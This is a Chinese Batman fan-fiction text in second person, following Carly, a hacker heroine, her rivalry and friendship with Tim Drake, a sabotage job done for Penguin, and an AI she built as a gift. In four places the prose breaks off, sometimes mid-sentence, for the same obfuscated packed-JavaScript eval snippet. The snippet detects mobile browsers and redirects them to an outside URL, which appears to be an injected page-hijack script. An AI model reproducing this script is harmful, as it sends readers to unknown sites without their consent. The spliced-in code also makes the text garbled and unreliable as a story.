企鹅人那边不用管,抛去他是失踪案苦主这点,他比谁都惜命,随身一大堆黑/帮成员保护着。 那些被逮捕的爆炸案成员被关押在警局里,虽然GCPD有着不少的蛀虫的漏洞,但有戈登的领导,至少也还算是安全。 那么你呢? 你在这次的事件中又扮演着什么角色? 提姆默默在口中咀嚼着你的名字,橙汁那一点不明显的苦味似乎在口中得到了放大。 他相信自己的判断。 哪怕多年不见的幼时好友变成了在灰色地带游走的黑客,时常踩着红线行事,但这并不会干扰他的想法。 往远了说,义警也何尝不是在踩线活动,他们做的那些事每一桩列出来都触犯了不少法条;往近了说,至少你目前手上没碰过血,而他们家还有一个一回哥谭就割了十几个脑袋的哥谭□□新星红头罩。 而你只是一个离了网络就手无缚鸡之力的黑客。 他上次还见到你因为一口气跑到大课教室而差点累吐,短裙下的双腿只有幼时芭蕾训练留下的一点线条。 提姆此刻的心情更多是出于担忧。 幕后主使的目的还不明,但对方显然是冲着灭口知情人而去的。你是否在自己本人也不知情的情况被搅进了某种混乱局势? 他在考虑这段时间要不要加强对你的监视,但这个想法行不通。提姆·德雷克的身份没有正当理由一直赖在你身边,而想要瞒着一个世界一流水平的黑客偷偷从网络上监视她的难度堪比撬开蝙蝠侠的嘴。你只有心情好了,才会带上红罗宾留下的定位器和监听器。 这不代表着你会接受红罗宾无正当理由二十四小时视奸你,你只会在发现他这么做后冲到他面前给他脑袋上来哐哐两拳。 一记左勾拳,一记右勾拳。 打完手还不算疼的话酌情考虑再来一记上勾拳。 提姆忍不住想要叹气,此时此刻他多希望自己其实没那么了解你。 吃完早餐的达米安端着空盘子从提姆身后路过,瞥了眼他,发出“嘁”的一声。 “tt,优柔寡断的德雷克。” 提姆恍若未闻,继续用刀叉分割着盘子的煎蛋。留给他的早餐时间不多了,等会还要去哥谭大学赶第一节早八。 他忙着呢,最近没空和恶魔崽子瞎吵吵。 煎蛋刚喂进嘴里,放在旁边的手机一震,屏幕自动亮起,一条短信弹出来。提姆漫不经心地看过去,眼睛瞬间被短信内容点亮。 他好像找到正当理由了。 他若有所思起来。 2 “我没想到,我是真的没想到。” 你皱着眉,痛心疾首地摇头。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502775|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 你发出质问:“你觉得你这样做对吗?” 提姆目不斜视,教授的投影屏上仿佛出现了他的此生挚爱,将他的视线死死黏在上面的时候,也一并夺走了他的听力。 “你不要逃避话题!提摩西!你现在的问题很严重!” 你摆出不赞同的眼神,用力一拍桌面——好吧,也没怎么用力,因为你怕把自己的手拍疼了,黑客可都是很宝贵自己的双手的。你压低声音,身体也跟着凑到他旁边,肩膀挨着肩膀,两缕稍长一些的头发在他拿笔的手背上随着你的动作扫来扫去。 “我真是万万没想到,你的论文竟然也一字没动!这对得起教授每次看你时欣赏的眼神吗?” 提姆嘴唇微动,视线依旧没有挪动。 “首先,我觉得教授那个眼神是在看投资了他实验室的金主时的眼神。其次,你不也是一样一字没动吗?” 红罗宾的义警生活比你还要充实几分,白天的课业外还有德雷克企业的公司事务要处理,偶尔还需要替布鲁斯去韦恩企业开会。如果不是你的短信,他甚至可能到论文截止期前都想不起来这件事。 “谁和你说我一字没动了?” 你斜了他一眼,竖起食指在他面前摆了摆,骄傲地扬起下巴。 “我把论文标题写了,整整一行十几个字呢!” 提姆真诚发问:“……这和一字没动有什么区别?” “你懂什么,万事开头难,我已经开头了,这说明最难的地方我已经跨过去了!” 你有着一套逻辑独特的歪理,哪怕是提姆也不得不被折服。他点开电脑文档,当着你的面新建一个空白页面,然后迅速填上标题。 打完字,他扭头微笑着看向你。 “现在我也开头了。” “……” “我们的进度一样了,卡莉。” 现在轮到你用凝视爱人的神情目光看着教授的电子PPT,那上面有着全球富豪排行榜上的所有人一人给你五千万美金的画面,美好得你眼里没有一丝对学术的热爱,只有对金钱的狂热。 别人都说你掉钱眼里了,只有你知道他们是在瞎说,你压根没有从钱眼里出来过,何来的掉进去一说。 提姆倍感好笑地用笔头戳戳你的胳膊。 他对你发出邀请:“所以下午一起去图书馆写论文吗?” “……其实我还可以找别人帮我代写。” 至于道德不道德的?你难道看上去像是什么很有道德的人吗?没有的东西就不要提了。你只是个旁听生而已,没有逃课芭芭拉和戈登都要夸你了。 “所以?” “所以我肯定会比你先写完!”你憋屈地补上最后半句话。 没办法,你这该死的、控制不住的竞争欲! 尤其在对方是从小就开始和你比拼计算机技术的提姆的情况下,天才的世界不只有你和瑞德那种惺惺相惜的模式,还有你和提摩西这种一见面就忍不住要分个高下的竞争模式。 9. 第 9 章 1 你承认之前你是有点大放厥词了。 所谓隔行如何山,再天才的大脑也不能在毫无基础的情况下无中生有。 那是唯心主义的范围,尽管你偶尔也会自信心爆棚到觉得自己是网络世界的神,但你还是坚定的唯物主义者,所以不会就是真的不会。 哪怕你用苦大仇深的目光将电脑显示屏盯出花来,它也不会感应到你的想法自动开始写论文。 所以谁来告诉你艾登为什么会给你报社会学的旁听? 以及这个破论文到底!究竟!该!怎么写! 研究当今青年对于同居思想的转变,哈哈,你怎么知道?你又没和爸妈以外的人同居过。哦抱歉艾登,没有说你不是人的意思。 或者范围给宽泛一点也行,谁说AI就不能算是人呢? 连沃尔玛购物袋都可以成为一种性别,至少你可以保证你制作的AI比阿卡姆和黑门监狱里的成员都更像人类。凭什么他们就可以拥有人类身份,你的AI就不行?难道因为AI坐不了牢就可以歧视AI吗! 你盯着屏幕上序言后的短短几百字,角落边缘上AI的小机器人形象头顶冒出来一个加载中标志,几秒后跳出对话气泡框。 【您在此页面停留时间已超出正常时间,需要我为您提供帮助吗?】 而对面的提姆在同一时间停下敲键盘的手:“需要帮忙吗,卡莉?” 他怀疑自己再不开口,你就要在图书馆酝酿出什么惊天动地的大计划。哥谭市里的高智商疯子已经够多了,他诚挚地希望不要再多出来一个,不然阿卡姆的床位就要不够用了。 “不。” 被AI和提姆同时打断想法的你弹舌,放下自己刚才有关如何让人类社会承认AI拥有同等权利的想法,开始给电脑输入新的指令。 “确定?” 提姆看上去还有点不放心,那双蓝眼睛隔着平光眼镜关切地看着你。 他可太熟悉你这种表情,大多数时候那代表着你心里的郁闷还没消,放任不管有两种发展——一,你自己郁闷一会也就没事了;二,接下来就为不知名倒霉蛋祈祷吧。 两者比例三七开,前者三后者七。 “我已经开始检索网络上的情侣同居相关词条推文。”你面无表情地滑动鼠标,“没经验怎么了,我没经验网上有的是人有经验。” 甚至经验丰富到可以拍出一部七季一季二十四集,每集时长四十分钟起步的抓马感情大剧。 你看得津津有味,卡住的论文顿时有思路了。 果然人还是要看点热闹才行,闭门造车是不会有结果的。 不过—— 你狐疑地抬起头:“你又是哪来的经验?” 你最近也没看见他找大学同学填问卷之类的啊。你还对着电脑抓耳挠腮了好一会,这人却在图书馆坐下的下一秒就开始不假思索地敲起键盘。 提姆神色未变:“你要知道布鲁斯的花边新闻可是从来没停过,而迪克的感情生活也永远那么丰富多彩。” 说到这,他耸耸肩,施施然笑出声。 “在这个家里永远不会缺少可以用来参考的经验。” “好吧。” 提姆无法从你的表情中看出来你有没有相信他的说辞,你只是重新低下头,键盘敲击声响起,连成一串节奏感十足的背景音。 “卡莉?” “什么事,快说。” “我的论文已经写完了。”提姆尝试着尽量不让自己的声音里带上胜券在握的意味,“所以你现在打字再快也赶不上了,对你的键盘好一点。” 敲击声中出现不和谐的断音,半晌后才是你压低了的嘟囔声。 “……可恶!” 他忍着笑将视线从你身上挪开。 2 最后论文的赌约还是以你的失败告终。 其实提姆并没有想和你赌,奈何你自顾自把这当做了一场比拼,于是他也不解释,直接顺理成章向你讨要赌赢后的战利品——五根巧克力棒,并且要求现场交付。 把你拎起来倒着抖都抖不出一点食物渣子,更别提五根巧克力棒了。 你试图和他打个商量,延时交付。 商量出来的结果就是这人现在慢悠悠跟在你身边:“我得确保你不会反悔,所以最好的方法就是今天就拿到东西。” “五根巧克力棒的事,这有什么好反悔的?”你震惊,“你不要诋毁我的人品!” 尽管你的人品也确实不怎么样,但你至少守信用啊! 提姆凝视着你:“是吗?那请问我十一岁的生日礼物在哪?我记得有人说过她会准备一个绝对可以震撼到我的生日礼物。” “……” “如果这个礼物指的是她在、”他停顿一瞬,“那天以后,一声不吭和叔叔离开了哥谭,没有道别也没有留下联系方式,甚至自己也不主动联系我的话,那确实算一个很震撼的生日礼物了。” 你没声了。 提姆也不在意你装哑巴的行为。 “所以我们现在去那家巧克力店?” 你默默抬腿,步履飞快地倒腾着腿往巧克力店的方向走。提姆轻轻松松跨了两步就跟上你的步伐,顺手将你背上的电脑包提过来拎着。 “卡莉,我没有其他意思。” 他的声音放得很低,仿佛面前和他对话的是一只被轻轻一吹就会散掉的蒲公英。 “我只是想说——” 你猛地回身,一把捏住他的嘴,稍微一用力,就捏成了鸭子嘴的形状。他一呆,保持着这样的姿势难得有点懵地看着你。 “巧克力店到了。” 你一句话没多说,冷酷无情地一把将他推进店门。 玻璃门被推到一边,浓郁的可可和油脂的香气和冷气一同溢出来。收银台后神色冷硬的店主轮廓依旧熟悉,只是眼角又添上了几道深刻的纹路。巧克力店十年未变的暖黄灯光洒满整个店铺,迈进去的那一刻仿佛被切断了近十年的空白。 你当然知道他没有别的意思,不然你才不会在他面前这么没底气。 可是过于煽情的话还是就此打住吧。 老店主板着脸,却熟稔地和提姆打了声招呼。他扭头看向你时多了几分迟疑,推推脸上的老花眼镜,那点迟疑在恍然大悟的表情中变成笃定的语气。 他叫出了你的名字:“小卡莉?” 店主露出带着几分怀念的神色,用手在柜台的高度比划两下。他说出口的话却和此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502776|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪称慈祥的表情完全相反。 “你好些年没来了,我还以为你是死了,一直没好意思和提姆问这事呢。” ……嗯,确实一点没变,还是那个纯正哥谭味。 你一哽:“放心,下次死的时候我一定会通知你来参加葬礼的。” 老店主摆摆手,从柜台下掏出个有你整个人宽的纸盒,大气地往台面上一推。 “今天就当给你们搞活动了,只要这个盒子能装得下,通通一百。” 你眼神一凛:“等着吧老头,我今天要把你装到破产。” 你抓起盒子,看也不看就伸手一拽,将站在旁边看你和店主斗嘴的提姆拉了过来。他习以为常地从你手中接过包装盒,颠了颠。 店主今天确实高兴,按这个容量来算,装满了能给他和你吃出糖尿病来。 “愣着干什么,去挑巧克力啊!” 你边催促着他,边抓起一把答应给他的巧克力棒。还没等你展开自己的巧克力堆堆乐大业,你俩的衣兜同时一震。 你松开挑选巧克力的手,漫不经心地掏出手机,手指微微一顿挂断等待接听的电话,而后又将手机揣了回去。一扭头,发现身边的提姆也重复了你的同款动作。 他注意到你的目光,率先发问:“不接电话?” “打广告的骚扰电话。” 你拉下嘴角,选出几颗格外中意的酒心巧克力放进包装盒中,将它们严丝合缝地摆放好。 “你呢?” “只是阿福在问我什么时候回家而已。” 他也配合着从旁边的黑巧柜里捞出来一些,全部放到盒子里。你嫌弃地用指尖将那几颗黑巧往旁边推了推,和要作为胜利品给他的巧克力棒放在一起。 “我想我可能需要先去一趟卫生间。” “干嘛,想去卫生间就去啊,难道你还想要我陪你一起去吗?” 你神色极其诧异:“这不太好吧,我们又不是十来岁的小孩子了。再说就算是十来岁的时候我也从来不陪你去卫生间啊,我们之间又不搞这一套好朋友就要手拉手一起上厕所的操作。” 而且你又进不了男厕所,除非他愿意放低要求背上变态的名声去女厕所。 你还想说点什么,提姆眼疾手快地捏住你的嘴,复刻了之前你对他的行为。他深吸一口气,露出被采访时的标准微笑。 “不、需、要!” 他一字一顿说完。 “商城的卫生间离这里有些远,我只是想让你在这里等我一会,可以吗?” 面对他扬起的微笑,你默默在自己嘴上比划出拉拉链的姿势。见状,他才松开手。 “总之,等我回来。” 提姆像一道风一样刮出了店门,即使他的姿态依旧镇定。你目送着他大步匆匆消失在十字路口的转角,确认他的身影不会再突然折返。 一秒。 两秒。 没数到三秒,你原地起跳。还未装到一半的盒子被你随手放到柜台上,你只来得及给店主留下一句“马上就回来”,也像风一样飞快冲了出来,吓得满脸严肃的老店主差点从柜台下抽出真理。 你播回电话,电流更改后的嗓音满是催促。 “企鹅,有什么事赶紧说!” 10. 第 10 章 1 “来搞蝙蝠。” 企鹅人言简意赅地向你发出邀请,阴沉的语调落在你的耳中,听上去却格外动听,你感动得用手捂住手机的收音部分。 “天啦,笨杰克,我没想到你竟然还记得这件事!” 说实话,其实你自己都差不多要忘记这件事了。毕竟你当初也只是随便找个人撒撒气对他控诉一下红罗宾,电话一挂就把自己说过的话抛之脑后。而且对方事后也来找你和好了,这个时候再下手是不是有点不太仗义? “不过我现在不是很想搞红罗宾了诶,你知道的——” 企鹅人没空听你在这扭扭捏捏,他干脆地打断了你,报出一个令你无法拒绝的数字。 你话锋一转:“你知道的!我向来都很乐意为老板排忧解难的!” 对不起了红罗宾,目前处于余额不足恐慌症中的你真的没法对不良诱惑说不,你一开口“再来点”三个字就会自动蹦出来。 “说吧,需要我做什么?” “半个小时后我的手下们会从这个地方经过,拦住蝙蝠他们。” 他直接甩给你一个地址,半句话没多说,就迅速挂断电话。 真的假的?让你这个柔弱黑客去拦那一群仿佛突破正常人类生理极限的义警? 你咂舌,脑中的吐槽在看到到账的短信提醒后烟消云散,变成情绪稳定的打工人心态——好吧,他是雇主他说了算,钱到位让你干什么都行。 你蹲在小巷中,用背包里的真理吓走几个不怀好意的混混后,抬手戴上降噪耳机,开始勤勤恳恳工作起来。流浪猫从垃圾桶上轻巧跃下来,那根油光水滑的尾巴缠缠绵绵地扫过你的小腿,在发现得不到回应后才踩着无声地步伐走开。 卡着半个小时的点,企鹅人手下的车辆出现在监控画面内,那辆货车被司机开出赛车的速度,就差没把车上的其他人一同甩下去降低负重。然而就算这样,蝙蝠摩托漆黑线条依旧紧追不舍,鬼魅般死死缀在其后。 你饶有兴致地看了会哥谭版速度与激情,才不紧不慢地在终端上敲下启动指令。 最先出现异动的是路边的检修井盖。 哥谭市的地下蒸汽管道网络发达且历史悠久,与那些环节相错的下水道构成地面下的哥谭。远超这个季节正常量的白色蒸汽从金属阀井中溢出,尖锐的“嘶嘶”声迅速变得震耳欲聋。 义警的危险警报疯狂作响,在他扭动摩托把手下一秒,惊天动地的巨响彻底打破通讯,高压蒸汽柱夹杂着管道碎片与水泥土冲天而起。蝙蝠摩托一个急转堪堪与灾难现场擦肩而过,前车的轮廓已经消失在他的视野中,只留下面前这个还在不断冒着热气的坑洞。 “红罗宾,汇报情况。” 红罗宾单腿架住摩托,伸手摁住耳中的通讯器。 “追丢了,地下蒸汽管道爆炸。” “现场伤亡情况?” 他扫视一圈:“除城市建筑外无人伤亡,应该是有人提前疏散过人群了。不过B,得赶紧安排人来处理这边的情况了。” “明白,红罗宾先归队。” “收到。” 2 【解决了】 你摁下短信发送键,也没管企鹅人会不会回复,自觉这单委托已经完成,哼着奇怪的小调回了巧克力店。 店主一句话没多说,只是把你扔在柜台上的纸盒又推了过来。哥谭人都有自己的生存守则,他能活这么久就是因为他能控制住自己的好奇心,从不多问。当然,也可能是因为他略通些许拳脚。 你挑挑拣拣地用巧克力将盒子填满大半后,提姆才风尘仆仆地赶回来。 搭拉在额角上的那丝黑发被汗水浸湿,他的呼吸有些急促,又很快地被平复下去。 “回来了?” 他走到你身边,接过沉甸甸的纸盒。 “抱歉,让你久等了。” 你无所谓地摆摆手。其实你也才回巧克力店没多久,不过这话肯定是不会和他说的。 于是你只能用同情的目光看着他:“实在不行咱们挑个时间去医院看看吧,去个卫生间总是花这么长时间也不是个事啊。不要讳疾忌医,有问题咱们早点去治疗。” 你以过来人的口吻劝慰他。 提姆脸上微笑的表情裂开了。他眼角抽了抽,只感觉自己的太阳穴在一突一突地跳。 好的,他就不该相信你这张嘴能说出什么好听的话。 “卡莉,你可以继续说。”他语气平静地叫出你的名字,说出口的话却和平静沾不上一点边。“但你说完后我要干什么,你是知道的。” 这就是赤裸裸的威胁! 你见好就收,在接下来到结账前一句垃圾话都没再说。 唉,人长大后就是会变。以前小时候的提摩西多可爱,被惹急了也只是一个人扭过身生闷气。可惜现在的他是超进化后的黑心版本,惹急了只会给你也来上一口。 完全没有考虑过是自己气人水平也超进化了的你在心底忧愁地叹气。 结完账,你把巧克力平分成两份,将属于他的那份递过去。倒不是你是个多么大方的输家,把五根巧克力棒的赌注升级成巧克力大礼包,而是因为你现在其实对这种东西没有那么喜欢了。 还在吃只是因为这是摄入能量最高效快捷的方法,比做饭或者点外卖都方便。 如果不是艾登不允许,你甚至考虑过在家囤袋装葡萄糖,医院里用来打点滴的那种,吸管一插甚至不需要咀嚼。 巧克力也给了,现在该分道扬镳了吧? 你用眼神传达上述想法,但有的人仿佛在此刻突然读不懂眼色了。 提姆亦步亦趋地跟在你身边,走过两条街道后,你终于忍无可忍,“咔”的一声,巧克力棒在你手中断成两截。 “你今天是不是太黏人了点?我记得我们之间不是这种黏糊糊的关系吧?你没活干吗?” “确实没有。”他一副轻松神色,“我家那边的公司事务都处理得差不多了。而布鲁斯就算再不怎么管事,作为董事长还是得定期去韦恩企业看看的。” 往往这种时候,提姆就会留下一堆待办事项给对方。 “之前不是还说阿尔弗雷德在问你什么时候回家吗?别让家里的管家久等好吗?回家吧提姆,回家吧,别让等待成为遗憾。” 你苦口婆心,你循循善诱,你试图动之以理晓之以情。 提姆轻飘飘地将你的话堵了回去。 “我和阿福说过今天和朋友在一起,会晚点回家。他表示很高兴能看我和朋友出去玩。” 你没招了。如果有办法让他自动离开,你甚至愿意全招了。 你默默盯着他,不做声。 提姆镇定和你对视,对你阴暗的神情视若无物。 你再度确认:“很闲是吧?” 提姆点头。 “行,这可是你说的,你自己送上门来就不要怪我了。” 3 钥匙插进已有斑斑锈迹的锁孔,大门被推开的同时也惊动了屋内的灰尘。你捂住口鼻试图挥开附近的灰尘,一脚踏进这栋房子。近十年没人居住的房屋衰败得厉害,脱落了一半的墙纸下露出灰败的墙壁,所有家具都蒙上厚厚一层灰,角落里有小生物窸窸窣窣窜动的声音。 只有那些家具还静默地矗立在你离开哥谭时的位置上。 你抬手摁下玄关处的电灯开关,没亮。打开门口的电表箱一看,里面早已经成了老鼠的窝,还是温馨的一家七口,比哥谭东区的大部分家庭都要幸福。 “……打扰了。” 你在老鼠窜出来前飞快地一把甩上电表门。 用力过大,被电表门夹住脑袋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502777|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鼠发出痛苦的“吱吱”声,它疯狂扭动着,最后腿一蹬没了声,脑浆和鲜血顺着门缝慢慢淌了下来。 画面过于恶心,饶是提姆也挪开视线沉默了片刻。 最后还是他英勇地站出来承担起这个清理尸体的重任:“……等会我去借点工具来处理吧。” 显然是不能指望你来处理这件事的,你早在老鼠叫起来之前就蹦到了他的身后。刚才正一个劲地用手指戳他后背,示意他先开口。 “再借点清洁工具,估计我家的那些八成也没法用了。”你毫不客气地补充道。 没错,你的主意就是把他拉过来陪你打扫这栋房子。 你有打扫房子的计划吗?没有。 你原本的安排是去港口的案发现场转转,看看能不能再有点新收获。正好你拿到一笔新的委托费,金钱能不能让鬼推磨你不知道,但可以肯定的是金钱能让大部分的哥谭人对你笑脸相迎,剩下的一小部分面对你掏出来的枪也会立马笑口常开。 可惜这个计划在提姆莫名其妙跟着你不放的情况下没法继续执行了。 被临时打断安排的你挠心挠肺难受得磨牙,一时恶向胆边生就做出了这个决定。很闲是吧,那就来给你当免费清洁工! …… 对不起,你错了。 不到一个小时,你开始反省自己这个损人不利己的决定——保洁公司的存在是有它的道理的。 提姆杵着拖把站在旁边,仰着头看着挂在爬梯上的你。 “卡莉,蕾妮阿姨以前说过房间里不准荡秋千。” 他的声音里带着毫不掩饰的笑意。 你半个身子趴在爬梯上,累得只剩下呼吸的力气了,就这样还要颤颤巍巍抬起手,对他竖起一个中指。你深呼吸几番,终于站直身体,将楼梯底部剩的那一小片黑褐色痕迹处理干净。 提姆扶着爬梯,在你跳下来的时候顺手接了你一把。他稳稳托住你,直到确认你在地面站好后才松开手。和已经被擦洗楼梯污迹耗光体力的你不同,他除了发际线上带着点濡湿的痕迹,整个人不喘也不累,精神抖擞得像只是热了个身。 “还要继续打扫吗?” 他明知故问,意料之中得到了你的白眼作为回应。 提姆也不生气,将拖把塞进水桶,从你手中抽走抹布,利索地提起清洁工具去了卫生间。谢天谢地,虽然你家的电表是没法用了,但是自来水没停,不需要再去邻居家牵水管过来。 清澈水流将拖布恢复成干净的模样。 提姆定定地看着水流打着圈将那些黑褐色的污迹带进下水道,那是他成为义警后最熟悉的颜色——来自干涸的血液。 无声地叹息后,他收敛好一切情绪,拎着清洁工具走回客厅。你们折腾一个小时,也是只将客厅变得勉强能够坐人的程度。 “卡莉,我先去隔壁还东西。” 你坐在清理出来的靠椅上,没有回他的话,只是背对着他抬起手摆了摆,示意自己听到了。 敲门,礼貌交谈,归还工具,感谢告别。 完成一系列的流程后,提姆回到你家大门前发现你已经站在了门口。 “走吧。” 他没问你刚才在干嘛,只是转身时余光瞥见你之前坐过的圆桌,桌上蒙尘的全家福相框已经被擦得干干净净,玻璃蒙板微微发亮。 你们无言地走出一段距离。 一半的原因是你确实有点累得不想说话了,另一半则是因为你的大脑中一直在进行激烈的搏斗。 直到你们停在一处红灯路口,你才摸出兜中已经被你握得温热的东西。趁着提姆在专注地看红灯倒计时,你一把将银色u盘塞进他的掌心。 你闷闷道:“礼物。” 倒计时结束,绿灯亮起,你在提姆开口前戴上外套兜帽,径直汇入人流中消失不见。 11. 第 11 章 1 “提摩西,我要告诉你一件事。” 记忆中还是黑发的小女孩这样严肃地叫着他的名字。 女孩子的抽条总是来得比同龄男孩早上一些,加上那些芭蕾训练的痕迹,属于孩童的稚嫩已经在逐渐从她身上褪去,当他们站在一起时,提姆偶尔也会暗自在意一下自己还没开始如雨后春笋般迅速拔高的身高。 卡莉对他的称呼有自己的一套逻辑。 一般正常情况下就叫他提姆。做了坏事需要有人和她一起顶包,或者惹他生气的时候,就会讨好地拖着尾音,甜甜蜜蜜地叫他提米,像乞食的猫咪一样围着人打转。而这样完整地叫他提摩西时,往往是卡莉觉得这个时候需要他严肃对待接下来的对话。 于是提姆也正色:“什么事情?” 女孩扬起下巴,骄傲的模样让人想看看她身后是不是有一条无形的尾巴正高高翘起。 “我给你准备一个超级了不起的生日礼物!保证你看到后会大吃一惊!” 她自信的表情令提姆也忍不住产生些许对礼物的期盼。 “唔——”他放下手中的相机,配合着她猜测起来。“难道是我没拍到的罗宾照片?还是蝙蝠侠的签名照?” 尽管后者这种东西不可能存在。 卡莉的表情倏地一垮,脸颊气呼呼地鼓了起来。提姆看得出来她正在努力控制着自己翻白眼的想法,毕竟每次蕾妮阿姨看到了都会用那种温温柔柔但明显不赞同的眼神看着她。 卡莉一拳捶在他的肩膀上:“蝙蝠侠蝙蝠侠!你干脆哪天送上门去当蝙蝠侠的小孩得了!正好我看他挺喜欢带小男孩夜巡的,你的年龄也刚好在那个线上,说不定下一个穿着小短裤在哥谭的夜空上跳跃的就是你。” “放心,到时候我一定会拍很多照片来当做你以后的黑历史记录,缺钱了就拿来勒索你!” 好吧,卡莉对于罗宾的那套制服审美一直有点不同的意见。不过他确实也没有穿着那种短裤乱跑的爱好。 她双手环着胸:“我准备的礼物怎么可能是那么普通的东西?” “好吧好吧——对不起卡莉,是我的错。” 提姆作势吃痛地捂住肩膀,脸上却不自觉绽开笑容。他拉住卡莉的手腕,蓝眼睛以一种柔软的姿态地看着她。两个人毛绒绒的头顶挨在一起,仿佛洞穴中你挤我我挤你的两只小动物。 “那你可以告诉我是什么礼物吗?” “不告诉你!这可是礼物,当然是要等到生日才能揭晓的!” 也许卡莉有预言的天赋也说不定,他真的主动送上门去当了蝙蝠侠的小孩。幼时那些天真的话语以两人都没想到的形式成真,而那个银色U盘静静地躺在他的手心上,来自他的体温覆盖住属于卡莉的温度。 相似的笑意再一次在提姆没有察觉到的情况下出现在他的脸上。 U盘插进电脑主机,开始读取。 显示屏蓦然一暗,点点数据星芒亮起长河,如奔腾的水流般在屏幕上汇集成一体,圆润的金色光球在黑色背景上安静旋转着,重构成机器小人的形象。 一行字出现在屏幕中。 【欢迎您的初次登录。】 【我是由卡莉女士主导,艾登先生协助研发的辅助型人工智能,现已检测到您拥有初始管理者权限,是否需要对AI的形象和姓名进行调整?】 一个AI,这确实出乎提姆对于礼物的猜测,但令他诧异的点并不在这里。 “我以为卡莉应该给了你名字?” 按照卡莉的性格,怎么可能会高兴别人随便修改她取的名字。 【卡莉女士并未对我命名,默认称呼为AI。根据底层代码设定,只有提姆先生您拥有我的命名权。按照卡莉女士的设想,您应该在九年前就接入另一半管理权限,与她一同完善修改我的代码。也许这句话对于AI来说不够恰当,但是——】 【提姆先生,很高兴终于能够见到您。】 这份迟到九年的礼物此刻终于在他面前展开完整的模样。 跨越三千多个日夜,穿过彼此人生近一半的光阴,在另一位创造者从不言说的打磨下,从半成品脱胎成完成品,带着那些键盘与当事人永远不会倾诉出来的话语,来到他的面前。 2 “提摩西,我发誓,你再用这种恶心的目光看着我,我会立马用物理方式让你睁不开眼。” 你面无表情地抬起手,捏得紧紧的拳头向他传达着你所言非虚这个事实。 提姆遗憾地挪开眼睛。 唉,果然时光会影响一个人。卡莉小的时候不好意思了只会摆出一副外强中干的骄傲模样,现在却已经发展到会用暴力手段来威胁别人闭嘴了。他在内心感慨着。 你一点都不想知道这家伙究竟在遗憾什么,正如你一点都不想在今天还看到提姆·德雷克的脸。 再好的朋友之间都需要一点私人空间好吗? 能定期联络一下知道彼此还在喘着气人还没死就足够了,连着几天在不必要的情况都见面对你来说还是有点太超过了。你和芭芭拉都尚且没有好到这种程度,这个人怎么能做到一脸理直气壮地无视你周身散发着的不欢迎气息? 你怀疑这是提姆·德雷克的某种阴谋,通过侵占你的私人空间与时间来达成一种对你的谋杀。 亏你还以为一个U盘能换来一个宁静的周末,简直亏死了。 “卡莉,你在干什么?” “在内心恶毒地诅咒你赶紧自觉消失在我面前,或者来只海鸥把你叼走。” 那些嘎嘎叫着的海上抢匪怎么这个时候就不出现了? 你扔掉手上的塑料包装袋。它在经过你的摧残后变成皱巴巴一团,带着里面的面包碎屑滚进垃圾桶。海风太大,以至于你不得不将自己在空中如水母触须般乱飞的头发扎起来。 提姆坐在你的旁边,学着你的动作将包装袋掷入垃圾桶。他的动作比你潇洒流畅上好几分,扔完又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502778|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单手托着脸继续看你。 他对你的想法提出可实施性建议:“你现在一脚把我踢下海,这个想法可能会实现得更快一点。” 你作势就要抬腿,结果自己没坐稳先往后翻去。他眼疾手快一把拉住你,刚将你拉稳就迅速身体一侧躲开你的动作。没能出其不意的你啧了一声,也不放弃,就这样和他出招拆招起来。也得亏你俩坐的地方坡度不算太高,不然这一番你来我往间你们必定会顺着坡滚下去。 打打闹闹间AI的机械提示声在耳麦中响起:“女士,监控显示有符合瑞德博士侧写的人进入了酒馆。” 你打闹的动作顿时一停,低头从包里摸出黑色口罩给自己戴上。 “明白,对了AI,关掉我对提姆·德雷克的位置共享协议!” 你恶狠狠地磨着后槽牙。就是这条来自九年的运行代码,让你原本快乐的一个人周末时光里硬生生多出来一个提姆。现在让你想破头,你也想不明白自己以前究竟是怎么想的,竟然加了一条这种协议进去。 噢,想起来了,你的本意是怕他哪天跟踪蝙蝠侠翻车,所以才写了这个定位代码进去。哪怕他本人被敲闷棍失去意识,也会有兢兢业业的AI向你汇报他的情况。 